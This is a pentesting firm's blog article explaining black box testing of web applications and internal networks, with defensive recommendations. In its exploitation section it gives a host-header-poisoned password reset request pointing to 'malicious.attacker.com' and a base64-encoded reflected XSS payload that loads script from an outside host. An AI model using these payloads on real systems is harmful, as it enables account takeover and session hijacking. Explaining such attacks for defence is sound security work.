During a penetration test, we generally consider 3 test conditions: black, grey or white box.
These test conditions correspond to the levels of information provided to the pentesters in order to carry out a pentest on a specific target. While a white box pentest will consist of providing as much information as possible, during a black box penetration test, the pentesters will have no data on the test target.
In this article, we present the principles and objectives of black box pentesting. Using concrete examples, we will detail the testing methodology, illustrating vulnerabilities in a web application and an internal network.
What is Black Box Penetration Testing?
To assess the security of a web application, an internal network, a company’s information system, etc., a very pragmatic approach is to reproduce attacks as realistically as possible.
A black box penetration test is a security assessment method in which the pentesters have no knowledge of the target system.
The aim will therefore be to identify the exposed scope and then to exploit technical, logical and/or human vulnerabilities that could compromise the confidentiality, integrity and availability of data and systems.
Finally, the results of the tests will be recorded in a pentest report, including all the vulnerabilities identified, their level of criticality, possible exploits and recommendations for correction or measures to be implemented to strengthen the security of the targets tested.
Furthermore, although a black box penetration test is carried out under the same conditions as an external attack, and the pentesters use the same tools and techniques as the attackers, there is no risk to the target of the tests. In fact, all the vulnerabilities are exploited in such a way as not to alter or delete anything.
Black Box Penetration Testing of a Web Application
For this first example, let’s consider a web application that does not allow new users to create an account.
However, access to the application is restricted by an authentication page. And only administrators are able to create new users.
So the security objective for this web application is to ensure that no illegitimate user can access the authenticated part. The auditor will therefore have to find a roundabout way of accessing the application.
Under these conditions, two solutions are possible: exploit a vulnerability to bypass authentication or spoof a legitimate account.
We will look at these two possibilities in more detail below.
Context: web application without the option of creating accounts
Technical recon
During this phase, we focus on the target’s attack surface. This surface will depend on the scope defined by the client. Generally, we will study all the services exposed by the server(s), but also the sub-domains close to our target and their management.
This first phase, known as technical recon, enables us to draw up a technological portrait of our target. And it is during this phase that we can determine whether any of the services have a publicly known vulnerability.
Here, we will be assessing the customer’s ability to control the exposure of its services, but also to apply a satisfactory update policy.
And generally speaking, the larger the company’s information system, the more difficult it is to achieve this objective.
Human recon
We then turn to the human elements. This time, our objective is to obtain information about users.
This involves listing the company’s employees on LinkedIn, as well as looking for password leaks.
The more users an application has, the greater the likelihood that one of them will leak. It is all the more difficult to protect against these leaks because they are not the direct result of the company’s actions, but of their users.
These leaks include databases from external sites. This includes, for example, the LinkedIn user database leak that occurred in 2017.
The auditor will find in these leaks the email addresses and passwords of users in common with the target of the audit.
If the users use the same password for these external sites as the application we are interested in, we will have valid access to the service.
| Password / Hash | Source | Date | |
|---|---|---|---|
| [email protected] | BCRYPT HASH | canva.com | 2019-12-16 |
In addition to these elements, we are also interested in ‘stealer’ leaks.
This is a type of malware that will infect user workstations. A workstation infected by this malware will have all the credentials entered stolen. The resale of these credentials is the main interest of this type of malware.
At Vaadata, we look for leaks that have already been sold on the Internet and present them in our reports.
| Username | Password | Origin | Target | Date |
|---|---|---|---|---|
| [email protected] | S********t | 192.168.15.18 | https://www.example.com | 05/09/2023 |
These leaks are particularly useful as part of a black box penetration test. They are effective in obtaining valid accounts on the target platform. Also, in the event that none of the passwords work (because they have changed since the date of the leak), this technique still allows us to obtain a list of valid identifiers.
In our case study of company ‘W’, we were able to establish a complete list of the company’s employees via a search on LinkedIn. As the login pages required emails as identifiers, we were able to generate employee emails from the data retrieved from LinkedIn. These were in the form of “[email protected]”.
At the same time, leaked passwords informed us that some employees were using insufficiently strong passwords based on the company name.
Discovering vulnerabilities
The recon phase that precedes this gives us a lot of useful information.
But for the moment, we have had very little interaction with the target itself.
If the only feature exposed to unauthenticated users is a Login page, then the attacker is forced to concentrate his efforts on it.
This situation is very common in our black box audits.
Resistance to brute force attacks
Our very first action will be to analyse the application’s behaviour when sending credentials. We will be looking to detect any configurations that will guide our choice of attack. One of the things to look out for is whether the application implements rate limiting protection.
Here we mean anything that will interfere with the repeated sending of credentials. There are various types of this:
- Temporary banning of the client IP address
- Temporary blocking of the target account after several unsuccessful attempts
- An increase in the response time
- A strict limit on the number of requests per second
- etc.
This type of protection will limit our ability to carry out a brute force attack on the authentication interface. This means sending numerous authentication attempts until one of them is accepted by the server.
It’s important to remember that in the absence of appropriate protection and with the information gathered, the brute force attack has a very good chance of succeeding. Firstly, because we have been able to compile a list of valid users, and secondly because we know some of the passwords used by these users.
This collection of information can even be used to limit the number of attempts, so that some of the above-mentioned protections do not apply. It should be noted that because of the elements discovered in the leaks, even the constraint of a robust password policy sometimes proves insufficient.
The only measure that would really hinder this attack strategy is the implementation of two-factor authentication (2FA).
Searching for injection vulnerabilities
Even when blocked on a page offering a simple form, it is still possible to discover technical vulnerabilities.
We are interested here in any type of vulnerability capable of modifying the legitimate behaviour of the login page.
Injection vulnerabilities are the most representative here. In particular, SQL injections or HTML injections enabling the exploitation of Cross Site Scripting vulnerabilities.
SQL injection can be explained by the fact that the application must check the validity of the user in its database during authentication.
If this check is not carried out correctly, it can cause the application to execute routines on its database. Very common in the past, this type of injection is now very rare.
However, the impact of such a vulnerability remains critical, not only for access to the application, but also for all the data managed by the platform.
The other most common injection we encounter is the HTML injection. This injection occurs because an element controllable by the user is reflected on the page.
This element may be the content of a message, the user’s name or a geographical location previously saved in a cookie.
This injection will enable the attacker to modify the layout or even the operation of the page.
If the HTML elements injected in this way enable JavaScript code to be executed, then a Cross Site Scripting vulnerability can be exploited.
Testing the forgot password functionality
Most login pages offer users the option of renewing their password if they forget it.
This feature is just as important as authentication itself.
If an attacker were to hijack this feature, he would be able to obtain a valid account on the platform.
The attacker will then try to access the password modification form in the user’s place. Generally, the functionality consists of an email containing a link sent to the user.
If the attacker succeeds in consulting or guessing the format of the link, he will then be able to access the page for changing the password.
A simple attack, but one that has already been observed, consists of changing the recipient of the email.
On rare occasions, this is made possible by certain parameters that can be controlled on the client side. If we cannot modify the recipient, we can sometimes modify the content of the email using elements under our control.
In this case, injecting HTML elements into the email can be dangerous. This behaviour makes it possible to divulge part of the information when the email is opened or when the user first interacts with it.
A similar technique involves modifying part of the link using host header poisoning. This poisoning will direct the link to a server controlled by the attacker.
By clicking on the link in the email, the user will actually target the attacker’s server and disclose the content of the password modification link.
Lastly, the link may also be constructed using information that the attacker can guess.
In this case, after analysing an initial link using one of the techniques described above, the attacker will be able to change the passwords of other users.
Investigating the contact form
Sometimes the application provides a contact form for site users.
This functionality implies that the message entered via this form can be viewed from the authenticated part of the application.
An attacker could take advantage of this functionality to blindly upload a malicious file that would affect any user viewing this message.
In fact, it is most likely that an administrator will view this message on the dedicated interface.
If this display does not apply sufficient protection against client injections (XSS, CSTI, etc.), it will be possible for the attacker to hijack the administrator’s session on this same interface.
Exploiting vulnerabilities in black box
Password reset poisoning with Host Header Attack
Here, we assume that the application being audited has a password reset functionality.
In its legitimate mode of operation, the functionality will send an email to the user containing a link to reset their password.
Legitimate request:
POST /forgot-password HTTP/2
Host: website.exemple.com
…
username=BaudelaireThe email received by the request will be as follows:
However, sometimes a misconfiguration allows the “Host” header to be poisoned. In this case, an attacker can make the following changes to the request:
Request with Host header poisoning:
POST /forgot-password HTTP/2
Host: website.exemple.com
X-Forwarded-Host: malicious.attacker.com
…
username=BaudelaireFollowing this request, the targeted user will receive the following email:
The email is very similar to the legitimate email. The main difference is the domain to which the password reset link points.
In a “Host” header poisoning attack, this domain will target a server controlled by the attacker.
The main risk is that if the targeted user clicks on the link in this email, the attacker will be able to recover the secret contained in the link. In doing so, the attacker will be able to change the password for the targeted user.
This misconfiguration has already been observed on numerous occasions during our audits. Successfully exploiting such a vulnerability makes it fairly easy for the attacker to obtain a valid account on the targeted application.
Injecting HTML elements on the login page
During our audits, it sometimes happens that the only functionality available to an unauthenticated user is the login page.
Although this is one of the most sensitive functionalities, vulnerabilities can sometimes be exploited in the login page itself.
Below is an illustration of this type of situation, which has already been observed during an audit.
As mentioned above, the auditor was trying to gain illegitimate access to the application. By analysing the behaviour of the login page, he observed the following functionality.
After sending the request, he noticed that an “error64” parameter had been added to the URL of the page. The content of this parameter actually contained the value of the error message encoded in “base64”.
$ echo -ne "V3JvbmcgdXNlcm5hbWUgb3IgcGFzc3dvcmQ=" | base64 -d
Wrong username or passwordBy manipulating this parameter, the auditor could dynamically inject content onto the login page. The vulnerability arose from the fact that the content of this message was not altered in any way before being injected into the login page.
With this behaviour, it is possible to inject HTML elements and arbitrarily execute JavaScript code.
So, by deliberately modifying the value of this parameter with a malicious payload, we can change the behaviour of the page and exploit a reflected Cross-Site-Scripting vulnerability.
$ echo -n "<script src=//p.x.vaadata.it></script>" | base64
PHNjcmlwdCBzcmM9Ly9wLngudmFhZGF0YS5pdD48L3NjcmlwdD4=
In this way, any user visiting our modified URL will have arbitrary code executed on their browser. Among other things, this malicious code can hijack the victim’s session.
Black Box Penetration Testing of an Internal Network
Context: An attacking machine is installed on the company’s internal network
In this scenario, an attacker successfully places a machine on the company’s internal network. This machine can interact with other equipment on the network, but the attacker has no prior information. This means that he does not have a valid user account.
This scenario can occur when the attacker manages to connect to the company’s WiFi network or when a machine exposed on the Internet is compromised.
The aim of the audit will be to interact with the other equipment on the network and detect any vulnerabilities.
Discovering the network
Technical elements
On an internal network, the attacker will try to determine what equipment is around him. To do this, he can use the specific features of network protocols to confirm the presence of machines and their IP addresses. This initial discovery phase will enable it to deduce the existence of sub-networks.
Once the various sub-networks have been identified, the auditor will scan the ports and services. This scan will identify all the exposed services and their versions. By comparing the versions identified with vulnerability databases, he will be able to deduce whether the software is affected by known vulnerabilities, and if so, proceed to exploit them.
A crucial step is to determine whether the network uses a Microsoft Active Directory solution. The use of this solution offers many possibilities to an attacker, particularly for privilege escalation.
Even without a valid account on the domain, an attacker is still able to obtain useful information for carrying out various attacks, in particular determining operating system versions. And whether or not user workstations belong to the domain.
Once all this information has been gathered. It is possible to determine the relevance of certain attacks.
The human reconnaissance phase of an internal network audit is no different from the reconnaissance phase of a web audit.
We are going to determine who the company’s potential users are.
This means focusing in particular on employees. This can be done on the LinkedIn social network, where employees’ first and last names can be found.
This list of users can be supplemented by a list of potential passwords. This time, the generation of a list of potential passwords can be inspired by the name of the company and its context.
As with a web penetration test, it is also a good idea to recover any leaked passwords.
Testing the password policy
One of the first applications of the internal penetration test will be to test the password policy. This is the set of rules that will constrain users when they define their passwords.
The correct definition of these rules will increase the complexity of user passwords. This policy will be decisive in restricting an attacker’s access.
It will affect both domain accounts and a specific management or administration application.
Despite a robust password policy, the auditor will be able to use the context of the company and perform human reconnaissance to find valid credentials.
This is because when a password is generated by a human, it follows an intelligible logic that can be statistically predicted. This is all the more true when users operate in the same corporate context.
It is therefore highly likely that one of the users will use a password based on the company name, to which characters have been added to satisfy the password policy. This statistical assertion can be used to the attacker’s advantage to build up a potential list of passwords. Once this list has been compiled, the auditor will test it on all the exposed services.
There are several ways of protecting against this type of attack. One is to encourage users to use a password manager. In this way, passwords generated by users will not follow a predictable logic.
An additional solution is to restrict the number of connection attempts. This solution is difficult to implement for all the services exposed. But applying it to sensitive services is already a major step forward in terms of security.
Capturing unencrypted traffic
Because services are exposed on a network that is supposed to be accessible only to company employees, it is likely that some services do not use a configuration that does not guarantee the confidentiality of exchanges.
We are thinking here of the HTTP, FTP or Telnet protocols, for example. If such services are actively used on the company’s internal network, then simply listening passively on the network is enough to gain knowledge of the content of the exchanges.
In this way, the transit of credentials via one of these protocols can be recovered by the attacker.
To guard against this type of exploitation, you need to ensure that each service uses the encrypted version of their respective protocol.
Unsigned traffic replay
Still in the context of an internal network, some services use protocols that cannot ensure their integrity without a specific configuration.
This situation is very common with the SMB protocol in an Active Directory environment.
An attacker could actively listen in on the network. In this way, he can carry out a well-known attack known as the “SMB Relay” attack. This attack can be used on any machine that does not implement the SMB protocol signature.
This type of exploitation is very common, because the SMB protocol signature is not activated by default on Windows.
The success of such an attack allows the attacker to gain illegitimate access to the targeted file share. If the compromised user is an administrator of the machine, then the attacker will gain system access to the target machine.
This type of attack can be prevented by imposing the SMB signature on all Windows machines in the IT environment.
Exploring services that allow anonymous access
Some services allow access to users who do not provide credentials. Sessions created in this way are anonymous sessions.
In an internal network, services may be configured to authorise this type of connection.
This type of configuration allows an attacker present on the network to interact with the service. This is frequently the case with SMB and FTP file sharing servers. This behaviour can be abused in two ways.
If the attacker does not need to provide a valid credential, he will be able to consult all the files on the share. The presence of sensitive files or files containing confidential information will be one of the points of attention for the auditor.
Now, if no sensitive documents are present on these shares, write access to these file shares may prove problematic. An attacker could upload a malicious file, which would affect any user viewing the file. This is the principle behind SCF file attacks.
A user who is the victim of this attack will see one of their domain account credentials captured by the attacker. This is why the analysis of services allowing anonymous access is one of the objectives of the audit.
Author: Benoit PHILIPPE – Pentester @Vaadata